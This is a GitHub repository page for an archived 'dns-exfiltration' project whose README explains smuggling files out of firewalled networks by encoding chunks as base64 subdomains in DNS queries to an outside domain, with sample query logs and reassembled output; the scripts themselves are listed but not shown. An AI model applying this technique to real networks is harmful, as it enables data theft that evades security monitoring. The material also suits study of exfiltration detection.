Product ∨   Solutions ∨   Resources ∨   Open Source ∨   Enterprise ∨   Pricing   🔍   Sign in   Sign up

This repository has been archived by the owner on Sep 11, 2021. It is now read-only.

krmaxwell / dns-exfiltration   Public archive

🔔 Notifications   Fork 22   ☆ Star 96

<> Code   ⊙ Issues 4   ⇄ Pull requests   ▷ Actions   ▦ Projects   📖 Wiki   🛡 Security   📈 Insights

⑂ master ∨   ⑂   🏷   Go to file   <> Code ∨

🕐 3 Commits

📄 .gitignore
📄 README.md
📄 exfiltrate.py
📄 reassembly.py

📖 README   ☰

dns-exfiltration

Exfiltrate files via DNS. Based on research by 16 Systems.

What the DNS Queries Look Like in Your Server's DNS Query Log

```
# The base64 encoded data is the payload
# Each query contains 8 bytes from the file

26-Aug-13 18:12:39 queries: info: client 8.x.x.x#18743:
   query: AAAAAAAAAAAxMjM0NTY3OA==.file1.16s.us IN A -ED (2.x.x.x)
26-Aug-13 18:12:49 queries: info: client 8.x.x.x#59519:
   query: AQAAAAAAAAA5MAoAAAAAAA==.file1.16s.us IN A -ED (2.x.x.x)
```

What the Raw Reassembled File Looks Like

```
# First element is the sequence number. Second is bytes from file.
# You need the sequence number to reassemble the file in the right o

(0, '12345678')
(1, '90\n\x00\x00\x00\x00\x00')
```

That's It

This can be automated and made to be very efficient, but I won't get into that. It also works on very large files (2^32 * 8) and with any type of file (text, binary, etc). So, now you know how to exfiltrate files from a firewalled network using simple DNS queries. When/if the network security team figures this out and blocks it, I'll demonstrate a few other ways in which data can be exfiltrated.

Again, this information is meant for research/educational purposes only.

Related Work

- iodine
- OzymanDNS

About

Exfiltrate files via DNS

📖 Readme
〜 Activity
☆ 96 stars
👁 5 watching
⑂ 22 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

● Python 100.0%

- [DNStunnel.de](#)
- [http://tools.ietf.org/html/draft-vixie-dnsext-dns0x20-00](#)